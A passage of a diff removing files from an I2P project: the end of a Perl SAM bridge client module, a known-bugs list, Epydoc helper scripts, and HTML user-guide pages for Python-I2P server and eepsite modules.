|
||||
$self->log("Error: SAM::parse_sam(): Received empty payload");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
# STREAMS are closed - bad thing
|
||||
# this can happen directly after a connect
|
||||
if(${$self->{samreply}}{REPLY} eq "CLOSED") {
|
||||
$self->log("Error: SAM::parse_sam(): Stream is closed: We need to interupt the session");
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
sub raw_send {
|
||||
|
||||
# this function sends a crafted SAM request + payload to the
|
||||
# SAM socket
|
||||
my ($self) = @_;
|
||||
my $return;
|
||||
|
||||
$self->log("Debug: SAM::raw_send(): >>> ".$self->{outbuffer});
|
||||
$return = $self->{sock}->send($self->{outbuffer},0);
|
||||
if(! defined($return)) {
|
||||
$self->log("Error: SAM::raw_send(): Cannot send to Socket");
|
||||
$self->close();
|
||||
return 0;
|
||||
}
|
||||
|
||||
if ( $return == length($self->{outbuffer}) || $!{EWOULDBLOCK} ) {
|
||||
substr($self->{outbuffer},0, $return) = '';
|
||||
delete $self->{outbuffer} unless length($self->{outbuffer});
|
||||
return 1;
|
||||
} else {
|
||||
$self->log("Error :SAM::raw_send(): Could send, but length does not match. Closing");
|
||||
$self->close();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
sub raw_read {
|
||||
my ($self,$size) = @_;
|
||||
my $input;
|
||||
my $data;
|
||||
|
||||
# this reads SAM replies from the SAM socket and fills the
|
||||
# inbuffer
|
||||
|
||||
if(!$size || $size > POSIX::BUFSIZ) {
|
||||
$size=POSIX::BUFSIZ;
|
||||
}
|
||||
|
||||
|
||||
$input = $self->{sock}->recv($data, $size, 0);
|
||||
|
||||
if(defined($input) && length($data) >= 1) {
|
||||
|
||||
|
||||
$self->log("Debug: SAM::raw_read(): <<< $data");
|
||||
if(length($self->{inbuffer}) == 0 ) {
|
||||
$self->{inbuffer} = $data;
|
||||
} else {
|
||||
$self->{inbuffer} .= $data;
|
||||
}
|
||||
|
||||
return 1;
|
||||
|
||||
} else {
|
||||
if ( $!{EAGAIN} ) {
|
||||
$self->{bytestoread}=0;
|
||||
return 1;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
sub sam_connect {
|
||||
# bsic connect to the sam bridge socket itself
|
||||
my ($self)=@_;
|
||||
my $return=undef;
|
||||
|
||||
|
||||
|
||||
$return=$self->{sock}=IO::Socket::INET->new(${$self->{conf}}{host}.":".${$self->{conf}}{port});
|
||||
|
||||
if($return==0) {
|
||||
$self->log("Debug: SAM::sam_connect(): Connection failed to ".${$self->{conf}}{host}.":".${$self->{conf}}{port});
|
||||
return 0;
|
||||
} else {
|
||||
$self->log("Debug: SAM::sam_connect(): Connection established to ".${$self->{conf}}{host}.":".${$self->{conf}}{port});
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
sub send {
|
||||
|
||||
# the public fumction to send data to sam
|
||||
# the user gives his payload and we create
|
||||
# valid SAM requests + payload from it ( as much as needed)
|
||||
my ($self,$content,$flags)=@_;
|
||||
my $return;
|
||||
my $maxsize=(POSIX::BUFSIZ-100);
|
||||
|
||||
if($self->{state}!=250) {
|
||||
$self->log("Error: SAM::send(): wrong state for send command: Needed:250 Recent:".$self->{state});
|
||||
return 0;
|
||||
}
|
||||
# ok, what can happen?
|
||||
# it could be that $content is far bigger than
|
||||
# POSIX::BUFSIZ; so we need to do a little loop
|
||||
# apart from that sending is in our hand
|
||||
|
||||
if(length($content) > $maxsize) {
|
||||
$self->{outbuffer}.="STREAM SEND ID=".$self->{streamid}." SIZE=$maxsize\n".substr($content,0,$maxsize);
|
||||
$content=substr($content,$maxsize,length($content));
|
||||
} else {
|
||||
$self->{outbuffer}.="STREAM SEND ID=".$self->{streamid}." SIZE=".length($content)."\n".$content;
|
||||
}
|
||||
|
||||
if( $self->raw_send()) {
|
||||
return 1;
|
||||
} else {
|
||||
$self->log("Error: SAM::send(): Could not send. Closing Link");
|
||||
}
|
||||
}
|
||||
|
||||
sub recv {
|
||||
my($self,$varname,$size,$flags)=@_;
|
||||
my $return;
|
||||
my $tunebuffer;
|
||||
my $counter;
|
||||
my $chunk;
|
||||
|
||||
|
||||
# main recv wrapper. We need to invest a few thoughts
|
||||
# for this. To the user it will be like a $socket->recv
|
||||
# (hopefully)
|
||||
# at first some sanity checks
|
||||
if(!$flags) {
|
||||
$flags=0;
|
||||
}
|
||||
|
||||
$self->{bytestoread}=0;
|
||||
# size must not exceed The posix limit;
|
||||
|
||||
if(!$size || $size > POSIX::BUFSIZ) {
|
||||
$self->log("Warn: SAM::recv(): Setting buffersize to POSIX::BUFSIZ");
|
||||
$size=POSIX::BUFSIZ;
|
||||
}
|
||||
|
||||
|
||||
# nobody should call is prior to state 250
|
||||
if($self->{state}!=250) {
|
||||
$self->log("Error: SAM::recv(): wrong state for rcv command: Needed:250 Recent:".$self->{state});
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
# we have a greeting banner left from connect
|
||||
# flush it to the user. This can happen on several services
|
||||
# like smtp/pop3/nntp but not on HTTP and other stuff
|
||||
|
||||
if($self->{hasbanner}) {
|
||||
|
||||
#print "D: ".$self->{inbuffer};
|
||||
|
||||
if(length($self->{inbuffer}) >0 ) {
|
||||
$chunk=substr($self->{inbuffer},0, $size);
|
||||
$self->{hasbanner}=0;
|
||||
substr($self->{inbuffer},0, $size)='';
|
||||
return $chunk;
|
||||
} else {
|
||||
$self->log("Error: SAM::recv(): Should have a banner but i have empty inbuffer?");
|
||||
return 0;
|
||||
}
|
||||
# should never reach here
|
||||
return 1;
|
||||
}
|
||||
# when there's something in the inbuffer left
|
||||
# flush it to the user. If the amount of data is bigger than
|
||||
# the userspecified limit, only transfer $size Bytes to the
|
||||
# client
|
||||
if(length($self->{inbuffer}) > 0) {
|
||||
$chunk=substr($self->{inbuffer},0, $size);
|
||||
substr($self->{inbuffer},0, $size)='';
|
||||
return $chunk;
|
||||
}
|
||||
|
||||
# OK, we got noting in the inbuffer
|
||||
# we'll fetch a new chunk of data and then add the data to the inbuffer
|
||||
# if bytestoread is bigger than POSIX::BUFSIZ we'll internally use
|
||||
# a loop of reads and fill the buffer til bytestoread is 0
|
||||
|
||||
if(length($self->{inbuffer}) == 0) {
|
||||
# read the first packet
|
||||
if($self->raw_read()) {
|
||||
if($self->parse_sam("STREAM") && ${$self->{samreply}}{REPLY} eq "RECEIVED") {
|
||||
# it's possible that the packet does not contain any payload at all!!
|
||||
# if this is the case we need
|
||||
if($self->{inbuffer}=~/^.*$/) {
|
||||
$self->log("Warn: SAM::recv(): Got only only one line from SAM - but i expected some payload too. Calling raw_read again ");
|
||||
$self->raw_read();
|
||||
}
|
||||
# ok, cut the SAM HEADER from the payload
|
||||
$self->{inbuffer}=substr($self->{inbuffer},(length($self->{inbuffer})-$self->{bytestoread}), length($self->{inbuffer}));
|
||||
$self->log("Debug: SAM::recv(): Recived a Stream Packet and cut the SAM header out");
|
||||
# ok, check if bytestoread is still bigger than our buffersize
|
||||
# this means we can load more. Dangerous loop but well...
|
||||
|
||||
while(length($self->{inbuffer}) < $self->{bytestoread}) {
|
||||
# this should definitely end some day
|
||||
$counter++;
|
||||
if($counter > 10000) {
|
||||
$self->log("Error: SAM::recv(): WTF, could not fill inbuffer as predicted by SAM header");
|
||||
last;
|
||||
}
|
||||
# read as long til we have read all of the payload provided by SAM
|
||||
|
||||
$self->log("Debug: SAM::recv(): Load another chunk. Buffersize:".length($self->{inbuffer})." / Bytestoread:".$self->{bytestoread} );
|
||||
$self->raw_read();
|
||||
}
|
||||
|
||||
} else {
|
||||
$self->log("Error: SAM::recv(): parse_sam() did not succeed. Interupting");
|
||||
delete $self->{inbuffer};
|
||||
return 0;
|
||||
}
|
||||
|
||||
} else {
|
||||
$self->log("Error: SAM::recv(): Could not read from the socket");
|
||||
delete $self->{inbuffer};
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
$chunk=substr($self->{inbuffer},0, $size);
|
||||
substr($self->{inbuffer},0, $size)='';
|
||||
return $chunk;
|
||||
}
|
||||
|
||||
return 1;
|
||||
|
||||
}
|
||||
|
||||
sub lookup {
|
||||
my($self,$name)=@_;
|
||||
my $return;
|
||||
|
||||
$self->{outbuffer}="NAMING LOOKUP NAME=$name\n";
|
||||
$return=$self->raw_send();
|
||||
|
||||
if($return == 1) {
|
||||
if($self->raw_read()) {
|
||||
if($self->parse_sam("NAMING")) {
|
||||
$self->log("Debug: SAM::lookup(): Naming Lookup successful");
|
||||
delete $self->{inbuffer};
|
||||
delete $self->{outbuffer};
|
||||
return $self->{lookupresult};
|
||||
}
|
||||
} else {
|
||||
$self->log("Error :SAM::lookup(): NAMING Failed. Cannot read SAM Response");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
if($return == 0) {
|
||||
$self->log("Error :SAM::lookup(): NAMING Failed. Cannot send NAMING String");
|
||||
return 0;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
sub sam_close {
|
||||
my ($self) =@_;
|
||||
$self->log("Debug: SAM::sam_close(): Closing Socket to SAM");
|
||||
$self->{sock}->close();
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
sub close {
|
||||
my ($self)=@_;
|
||||
my $return;
|
||||
$self->{outbuffer}.="STREAM CLOSE ID=".$self->{streamid}."\n";
|
||||
$self->log("Debug: SAM::close(): CLosing Stream with id: ".$self->{streamid});
|
||||
$return=$self->raw_send();
|
||||
# well, we do not care wether this worked or not
|
||||
$self->sam_close();
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
sub connect {
|
||||
my ($self,$destination)=@_;
|
||||
my $return;
|
||||
|
||||
$self->{streamid}= int(rand(200000000));
|
||||
if(length($destination) == 0) {
|
||||
$self->log("Error: SAM::connect(): need I2P destination to connect to with the SAM Bridge");
|
||||
return 0;
|
||||
}
|
||||
|
||||
$self->{outbuffer}.="STREAM CONNECT ID=".$self->{streamid}." DESTINATION=$destination\n";
|
||||
$return=$self->raw_send();
|
||||
|
||||
if($return == 1) {
|
||||
if($self->raw_read()) {
|
||||
if($self->parse_sam("STREAM")) {
|
||||
if(${$self->{samreply}}{REPLY} eq "STATUS") {
|
||||
$self->{state}=250;
|
||||
$self->log("Debug: SAM::connect(): State Transition 200 => 250");
|
||||
# flush the whole inbuffer;
|
||||
delete $self->{inbuffer};
|
||||
delete $self->{outbuffer};
|
||||
return 1;
|
||||
}
|
||||
|
||||
if(${$self->{samreply}}{REPLY} eq "RECEIVED") {
|
||||
$self->{state}=250;
|
||||
$self->log("Debug: SAM::connect(): State Transition 200 => 250. Got a banner");
|
||||
delete $self->{inbuffer};
|
||||
|
||||
#print "D: toread:".$self->{bytestoread};
|
||||
#print "D: buffer:".$self->{inbuffer}."\n";
|
||||
#print "D: buffersize:".length($self->{inbuffer})."\n";
|
||||
|
||||
$self->raw_read();
|
||||
#print "D: toread:".$self->{bytestoread};
|
||||
#print "D: buffer:".$self->{inbuffer}."\n";
|
||||
#print "D: buffersize:".length($self->{inbuffer})."\n";
|
||||
|
||||
$self->{inbuffer}=substr($self->{inbuffer}, 0, $self->{bytestoread});
|
||||
$self->{hasbanner}=1;
|
||||
|
||||
#print "D: toread:".$self->{bytestoread};
|
||||
#print "D: buffer:".$self->{inbuffer}."\n";
|
||||
#print "D: buffersize:".length($self->{inbuffer})."\n";
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
}
|
||||
} else {
|
||||
$self->log("Error: SAM::connect(): STREAM Failed. Cannot read SAM Response");
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
if($return == 0) {
|
||||
$self->log("Error: SAM::connect(): STREAM Failed. Cannot send SESSION String");
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
sub log {
|
||||
my($self,$line)=@_;
|
||||
if($line=~/.*\n$/) {
|
||||
chomp $line;
|
||||
}
|
||||
if ( $self->{debug} ) {
|
||||
print LOGFILE "$line\n";
|
||||
}
|
||||
return 1;
|
||||
|
||||
}
|
||||
|
||||
|
@ -1,16 +0,0 @@
|
||||
|
||||
Known Bugs:
|
||||
* tunnel.TunnelServer may crash the I2P router when a 20+ MB file
|
||||
is downloaded at 200+ KB/s (only possible with local downloads).
|
||||
* Errors raised for sockets are non entirely consistent.
|
||||
See todo.txt for how to fix this.
|
||||
* A session does not close until a program exits.
|
||||
This should be fine once I2P is patched to allow multiple
|
||||
programs to use a single session at once.
|
||||
* i2p.router.start() does not work.
|
||||
|
||||
Fixed Bugs:
|
||||
* Large downloads are no longer corrupted (fixed by jrandom in I2P
|
||||
core).
|
||||
* Datagram packets are no longer lost, for a local server and
|
||||
client (fixed by jrandom in I2P core).
|
@ -1,18 +0,0 @@
|
||||
#!/usr/local/bin/python
|
||||
|
||||
#
|
||||
# Call the command line interface for Epydoc.
|
||||
#
|
||||
|
||||
# We have to do some path magic to prevent Python from getting
|
||||
# confused about the difference between this epydoc module, and the
|
||||
# real epydoc package. So sys.path[0], which contains the directory
|
||||
# of the script.
|
||||
import sys, os.path
|
||||
script_path = os.path.abspath(sys.path[0])
|
||||
sys.path = [p for p in sys.path if
|
||||
os.path.abspath(p) != script_path]
|
||||
|
||||
from epydoc.cli import cli
|
||||
cli()
|
||||
|
@ -1,35 +0,0 @@
|
||||
#! /usr/bin/env python
|
||||
|
||||
"""
|
||||
Make epydoc HTML documentation in the 'html' subdirectory.
|
||||
"""
|
||||
|
||||
import epydoc as epydoc_
|
||||
import inspect
|
||||
import os, sys
|
||||
|
||||
def epydoc(args):
|
||||
"""Run epydoc (command line) with given argument string."""
|
||||
os.system('python calldoc.py ' + args)
|
||||
|
||||
def makedoc():
|
||||
"""Make all epydoc HTML documentation for Python I2P library."""
|
||||
modlist = [
|
||||
'i2p',
|
||||
'i2p.eep',
|
||||
'i2p.tunnel',
|
||||
'i2p.router',
|
||||
'i2p.socket',
|
||||
'i2p.select',
|
||||
'i2p.samclasses',
|
||||
'i2p.CGIHTTPServer',
|
||||
'i2p.SimpleHTTPServer',
|
||||
'i2p.BaseHTTPServer',
|
||||
'i2p.SocketServer',
|
||||
'i2p.pylib'
|
||||
]
|
||||
modlist.reverse()
|
||||
epydoc('--html ' + ' '.join(modlist))
|
||||
|
||||
if __name__ == '__main__':
|
||||
makedoc()
|
@ -1,31 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>Eeproxy - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>Eeproxy</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
The <strong>Eeproxy</strong> is run by the I2P router. The proxy is normally used for web browsers, as a means of accessing eepsites.
|
||||
|
||||
|
||||
<p>
|
||||
The eeproxy is usually available at <a href="http://127.0.0.1:4444/" class='printable' title="http://127.0.0.1:4444/">http://127.0.0.1:4444/</a>.
|
||||
|
||||
<p>
|
||||
</div>
|
||||
<p><em>
|
||||
</em><!-- Time since request: 0.77 secs. -->
|
||||
</body></html>
|
@ -1,91 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>User's Guide:i2p.BaseHTTPServer - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>User's Guide:i2p.BaseHTTPServer</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
Emulates Python BaseHTTPServer module using I2P sockets.
|
||||
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Overview"> Overview </a></h2>
|
||||
|
||||
<p>
|
||||
The Python module is described at <a href="http://www.python.org/doc/current/lib/module-BaseHTTPServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-BaseHTTPServer.html">http://www.python.org/doc/current/lib/module-BaseHTTPServer.html</a>
|
||||
|
||||
<p>
|
||||
To get a server going, use:
|
||||
|
||||
<p>
|
||||
<ul ><pre>
|
||||
>>> from i2p import BaseHTTPServer
|
||||
>>> BaseHTTPServer.test().
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
Consult the documentation for function test() to change basic server settings, such as the session name.
|
||||
|
||||
<p>
|
||||
A fully customizable example:
|
||||
|
||||
<p>
|
||||
<ul ><pre>
|
||||
>>> from i2p import BaseHTTPServer
|
||||
>>> session = "mytestxxx.i2p" # SAM session name
|
||||
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
|
||||
>>> class MyRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): pass
|
||||
>>> httpd = MyServer(session, MyRequestHandler)
|
||||
>>> httpd.socket.dest
|
||||
(Base64 Destination of server)
|
||||
>>> httpd.serve_forever()
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Classes"> Classes </a></h2>
|
||||
|
||||
<p>
|
||||
class <strong>BaseHTTPRequestHandler</strong>
|
||||
<ul ><pre>
|
||||
Same interface as Python class BaseHTTPServer.BaseHTTPRequestHandler.
|
||||
</pre>
|
||||
</ul >
|
||||
class <strong>HTTPServer</strong>
|
||||
<ul ><pre>
|
||||
Same interface as Python class BaseHTTPServer.HTTPServer.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Functions"> Functions </a></h2>
|
||||
|
||||
<p>
|
||||
<strong>test</strong>(HandlerClass=BaseHTTPRequestHandler, ServerClass=HTTPServer, protocol='HTTP/1.0', session='mytestxxx.i2p')
|
||||
<ul ><pre>
|
||||
Test the HTTP request handler class.
|
||||
This runs an I2P TCP server under SAM session 'session'. If a single command
|
||||
line argument is given, the argument is used instead as the SAM session name.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
</div>
|
||||
</body></html>
|
@ -1,90 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>User's Guide:i2p.CGIHTTPServer - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>User's Guide:i2p.CGIHTTPServer</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
Module <code >i2p.CGIHTTPServer</code > emulates the Python CGIHTTPServer module using I2P sockets.
|
||||
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Overview"> Overview </a></h2>
|
||||
|
||||
<p>
|
||||
The Python module is described at <a href="http://www.python.org/doc/current/lib/module-CGIHTTPServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-CGIHTTPServer.html">http://www.python.org/doc/current/lib/module-CGIHTTPServer.html</a>
|
||||
|
||||
<p>
|
||||
To get a server going, use:
|
||||
|
||||
<p>
|
||||
<ul ><pre>
|
||||
>>> from i2p import CGIHTTPServer
|
||||
>>> CGIHTTPServer.test().
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
Consult the documentation for function test() to change basic server settings, such as the session name.
|
||||
|
||||
<p>
|
||||
A fully customizable example:
|
||||
|
||||
<p>
|
||||
<ul ><pre>
|
||||
>>> from i2p import BaseHTTPServer, CGIHTTPServer
|
||||
>>> session = "mytestxxx.i2p" # SAM session name
|
||||
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
|
||||
>>> class MyRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler): pass
|
||||
>>> httpd = MyServer(session, MyRequestHandler)
|
||||
>>> httpd.socket.dest
|
||||
(Base64 Destination of server)
|
||||
>>> httpd.serve_forever()
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Classes"> Classes </a></h2>
|
||||
|
||||
<p>
|
||||
class <strong>CGIHTTPRequestHandler</strong>
|
||||
<ul ><pre>
|
||||
Same interface as Python class CGIHTTPServer.CGIHTTPRequestHandler.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Functions"> Functions </a></h2>
|
||||
|
||||
<p>
|
||||
|
||||
<strong>test</strong>(HandlerClass=CGIHTTPRequestHandler,
|
||||
ServerClass=i2p.BaseHTTPServer.HTTPServer,
|
||||
session='mytestxxx.i2p')
|
||||
<ul ><pre>
|
||||
Test the HTTP CGI request handler class.
|
||||
This runs an I2P TCP server under SAM session 'session'. If a single
|
||||
command line argument is given, the argument is used instead as the SAM session
|
||||
name.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
</div>
|
||||
</body></html>
|
@ -1,88 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>User's Guide:i2p.SimpleHTTPServer - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>User's Guide:i2p.SimpleHTTPServer</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
Emulates Python SimpleHTTPServer module using I2P sockets.
|
||||
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Overview"> Overview </a></h2>
|
||||
|
||||
<p>
|
||||
The Python module is described at <a href="http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html">http://www.python.org/doc/current/lib/module-SimpleHTTPServer.html</a>
|
||||
|
||||
<p>
|
||||
To get a server going, use:
|
||||
|
||||
<p>
|
||||
<ul ><pre>
|
||||
>>> from i2p import SimpleHTTPServer
|
||||
>>> SimpleHTTPServer.test().
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
Consult the documentation for function test() to change basic server settings, such as the session name.
|
||||
|
||||
<p>
|
||||
A fully customizable example:
|
||||
|
||||
<p>
|
||||
<ul ><pre>
|
||||
>>> from i2p import BaseHTTPServer, SimpleHTTPServer
|
||||
>>> session = "mytestxxx.i2p" # SAM session name
|
||||
>>> class MyServer(BaseHTTPServer.HTTPServer): pass
|
||||
>>> class MyRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): pass
|
||||
>>> httpd = MyServer(session, MyRequestHandler)
|
||||
>>> httpd.socket.dest
|
||||
(Base64 Destination of server)
|
||||
>>> httpd.serve_forever()
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Classes"> Classes </a></h2>
|
||||
|
||||
<p>
|
||||
class <strong>SimpleHTTPRequestHandler</strong>
|
||||
<ul ><pre>
|
||||
Same interface as Python class SimpleHTTPServer.SimpleHTTPRequestHandler.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Functions"> Functions </a></h2>
|
||||
|
||||
<p>
|
||||
|
||||
<strong>test</strong>(HandlerClass=SimpleHTTPRequestHandler, ServerClass= i2p.BaseHTTPServer.HTTPServer, session='mytestxxx.i2p')
|
||||
<ul ><pre>
|
||||
Test the HTTP simple request handler class.
|
||||
This runs an I2P TCP server under SAM session 'session'. If a single command
|
||||
line argument is given, the argument is used instead as the SAM session name.
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
</div>
|
||||
|
||||
</body></html>
|
@ -1,50 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>User's Guide:i2p.SocketServer - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>User's Guide:i2p.SocketServer</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
Emulates Python SocketServer module using I2P sockets.
|
||||
|
||||
|
||||
<p>
|
||||
The Python module is described at <a href="http://www.python.org/doc/current/lib/module-SocketServer.html" class='printable' title="http://www.python.org/doc/current/lib/module-SocketServer.html">http://www.python.org/doc/current/lib/module-SocketServer.html</a>
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Classes"> Classes </a></h2>
|
||||
|
||||
<p>
|
||||
<ul ><pre>
|
||||
BaseRequestHandler
|
||||
BaseServer
|
||||
DatagramRequestHandler
|
||||
ForkingMixIn
|
||||
ForkingTCPServer
|
||||
ForkingUDPServer
|
||||
StreamRequestHandler
|
||||
TCPServer
|
||||
ThreadingMixIn
|
||||
ThreadingTCPServer
|
||||
ThreadingUDPServer
|
||||
UDPServer
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
</div>
|
||||
</body></html>
|
@ -1,53 +0,0 @@
|
||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
|
||||
"http://www.w3.org/TR/html4/loose.dtd">
|
||||
<html lang="en"><head><title>User's Guide:i2p.eep - Wikipedia</title>
|
||||
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
|
||||
<meta name="robots" content="index,follow">
|
||||
<link rel="shortcut icon" href="/favicon.ico">
|
||||
<style type='text/css'><!--
|
||||
/*/*/
|
||||
a.new, #quickbar a.new { color: #CC2200; }
|
||||
#quickbar { position: absolute; top: 4px; left: 4px; border-right: 1px solid gray; }
|
||||
#article { margin-left: 152px; margin-right: 4px; }
|
||||
/* */
|
||||
//--></style>
|
||||
</head>
|
||||
|
||||
<body bgcolor='#FFFFFF' onload=''>
|
||||
<h1 class='pagetitle'>User's Guide:i2p.eep</h1><p class='subtitle'>From Python-I2P.
|
||||
|
||||
|
||||
<div class='bodytext'>
|
||||
Module <code >i2p.eep</code > allows Python programs to access the <a href="./eeproxy.html" class='printable' title ="Eeproxy">Eeproxy</a>.
|
||||
|
||||
|
||||
<p>
|
||||
With this module, a program can easily download eepsites.
|
||||
|
||||
<p>
|
||||
|
||||
<h2><a name="Functions"> Functions </a></h2>
|
||||
|
||||
<p>
|
||||
<strong>urlopen</strong>(url, eepaddr='127.0.0.1:4444')
|
||||
<ul >
|
||||
|
||||
<pre> Like urllib2.urlopen(url), but only works for eep-sites.
|
||||
Example: f = urlopen('<a href="http://duck.i2p/index.html" class='printable' title="http://duck.i2p/index.html">http://duck.i2p/index.html</a>')
|
||||
|
||||
</pre>
|
||||
</ul >
|
||||
<strong>urlget</strong>(url, eepaddr='127.0.0.1:4444')
|
||||
<ul >
|
||||
|
||||
<pre> Get contents of an eepsite.
|
||||
Example: urlget('<a href="http://duck.i2p/" class='printable' title="http://duck.i2p/">http://duck.i2p/</a>').
|
||||
</pre>
|
||||
</ul >
|
||||
|
||||
<p>
|
||||
</div>
|
||||
<p><em>
|
||||
|
||||
</em><!-- Time since request: 0.78 secs. -->
|
||||
</body></html>
|
@ -1,59 +0,0 @@
|
||||
